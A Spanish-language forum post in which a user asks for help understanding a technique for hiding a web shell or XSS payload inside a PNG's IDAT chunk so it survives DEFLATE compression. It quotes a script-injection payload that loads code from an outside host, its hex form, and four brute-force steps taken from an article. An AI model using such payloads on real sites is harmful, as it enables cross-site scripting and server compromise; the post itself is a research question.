shell web en fragmentos PNG IDAT

  • 0 Respuestas
  • 252 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado retr02332

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Country: co
  • Reputación 0
    • Ver Perfil

shell web en fragmentos PNG IDAT

  • en: Febrero 12, 2021, 01:54:42 pm
Hola a todos

He estado investigando un poco sobre cómo se construye un PNG internamente, así como algunos artículos sobre una técnica para incluir una web shell dentro del fragmento IDAT de un PNG.

Investigando en Internet di con una publicación, en la cual se enumeraban ciertos pasos para poder crear una cadena que sobreviviría al DEFLATE.
Me explico, digamos que yo tengo el siguiente payload: <SCRIPT src=//LOG.BZ><script> (puede ser tanto web shell, como una instrucción de JS)

Ese payload en hexadecimal se ve de la siguiente forma: 3c534352495054205352433d2f2f5254462e425a3e3c2f7363726970743e

El objetivo aquí es crear una cadena en la cual, al momento de hacer un gzdeflate() "es una funcion de php", pues me devuelva la cadena anterior...

En el articulo plantean los siguientes pasos para llevar esta operación a cabo:
1. Prepend 0x00 -> 0xff to the hex string above (one to three times)
2. Append 0x00 -> 0xff to the hex string above (one to three times)
3. Randomly generate a string of bytes and try to GZDeflate it until an error isn't thrown
4. Check that the result contains our expected string

Siendo honesto no entendí muy bien el flujo de trabajo (programaticamente hablando) para llevar a cabo esta operación.
Si alguien me ayuda a entender este proceso (programaticamente hablando) lo agradecería para poder seguir mi investigación.

Cabe decir que me he hecho un script y el único test que falla es el encargado de verificar que esos 4 pasos anteriores vayan a la perfección, como fallan... quiere decir que los he implementado mal.

Gracias a todos.
« Última modificación: Febrero 12, 2021, 02:00:20 pm por retr02332 »